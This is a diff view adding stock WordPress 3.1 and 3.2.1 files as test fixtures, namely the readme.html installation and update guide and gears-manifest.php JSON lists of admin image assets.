<h1>Final Notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="http://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
|
||||
|
||||
<h1>License</h1>
|
||||
<p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
|
||||
|
||||
|
||||
</body>
|
||||
</html>
|
||||
72
spec/fixtures/wp_versions/3.1/wp-admin/gears-manifest.php
vendored
Normal file
72
spec/fixtures/wp_versions/3.1/wp-admin/gears-manifest.php
vendored
Normal file
@@ -0,0 +1,72 @@
|
||||
{
|
||||
"betaManifestVersion" : 1,
|
||||
"version" : "9f1d42cdc7a2098cb65588e29c61f113",
|
||||
"entries" : [
|
||||
{ "url" : "images/align-center.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/align-left.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/align-none.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/align-right.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/archive-link.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/blue-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/button-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/button-grad-active.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/date-button.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/ed-bg.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/fade-butt.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/fav.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/generic.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/gray-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/icons32.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/icons32-vs.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/list.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/logo.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/logo-ghost.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/logo-login.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-image.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-music.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-other.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-video.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-vs.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-bits.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-dark.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/no.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/required.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/resize.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/se.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/star.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/white-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/white-grad-active.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/wp-logo.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/xit.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/yes.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true }
|
||||
]}
|
||||
1
spec/fixtures/wp_versions/3.1/wp-includes/css/admin-bar.css
vendored
Executable file
1
spec/fixtures/wp_versions/3.1/wp-includes/css/admin-bar.css
vendored
Executable file
File diff suppressed because one or more lines are too long
109
spec/fixtures/wp_versions/3.2.1/readme.html
vendored
Executable file
109
spec/fixtures/wp_versions/3.2.1/readme.html
vendored
Executable file
@@ -0,0 +1,109 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo">
|
||||
<a href="http://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" width="250" height="68" /></a>
|
||||
<br /> Version 3.2.1
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory and upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
|
||||
<ol>
|
||||
<li>If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code> and upload it.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
|
||||
</ol>
|
||||
</li>
|
||||
<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
|
||||
<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Updating</h1>
|
||||
<h2>Using the Automatic Updater</h2>
|
||||
<p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
|
||||
<ol>
|
||||
<li>Open the <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
|
||||
<h2>Updating Manually</h2>
|
||||
<ol>
|
||||
<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
|
||||
<li>Delete your old WordPress files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
</ol>
|
||||
|
||||
<h2>Theme Template Changes</h2>
|
||||
<p>If you have customized your theme templates, you may have to make some changes across major versions.</p>
|
||||
|
||||
<h1>Migrating from other systems</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
|
||||
|
||||
<h1>System Requirements</h1>
|
||||
<ul>
|
||||
<li><a href="http://php.net/">PHP</a> version <strong>5.2.4</strong> or higher.</li>
|
||||
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.0</strong> or higher.</li>
|
||||
</ul>
|
||||
|
||||
<h2>System Recommendations</h2>
|
||||
<ul>
|
||||
<li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
|
||||
<li>A link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex</a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/news/">The WordPress Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet</a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
|
||||
<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1><abbr title="eXtensible Markup Language">XML</abbr>-<abbr title="Remote Procedure Call">RPC</abbr> and Atom Interface</h1>
|
||||
<p>You can post to your WordPress blog with tools like <a href="http://download.live.com/writer">Windows Live Writer</a>, <a href="http://illuminex.com/ecto/">Ecto</a>, <a href="http://bloggar.com/">w.bloggar</a>, <a href="http://radio.userland.com/">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the blogging <abbr title="application programming interface">API</abbr>s! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support"><abbr>XML</abbr>-<abbr>RPC</abbr> support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret <abbr title="Post Office Protocol version 3">POP3</abbr> account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with <a href="http://en.wikipedia.org/wiki/Cron">cron</a>-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> <abbr title="Uniform Resource Locator">URL</abbr>.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We introduced a very flexible roles system in version 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities" title="WordPress roles and capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1>Final Notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="http://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
|
||||
|
||||
<h1>License</h1>
|
||||
<p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
|
||||
|
||||
|
||||
</body>
|
||||
</html>
|
||||
72
spec/fixtures/wp_versions/3.2.1/wp-admin/gears-manifest.php
vendored
Executable file
72
spec/fixtures/wp_versions/3.2.1/wp-admin/gears-manifest.php
vendored
Executable file
@@ -0,0 +1,72 @@
|
||||
{
|
||||
"betaManifestVersion" : 1,
|
||||
"version" : "4c4cab4ac02dd9b2bf8f0011808232cc",
|
||||
"entries" : [
|
||||
{ "url" : "images/align-center.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/align-left.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/align-none.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/align-right.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/archive-link.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/blue-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/button-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/button-grad-active.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/date-button.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/ed-bg.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/fade-butt.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/fav.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/generic.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/gray-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/icons32.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/icons32-vs.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/list.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/logo.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/logo-ghost.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/logo-login.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-image.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-music.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-other.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-video.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-vs.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-bits.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-dark.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/no.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/required.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/resize.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/se.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/star.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/white-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/white-grad-active.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/wp-logo.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/xit.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/yes.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true }
|
||||
]}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user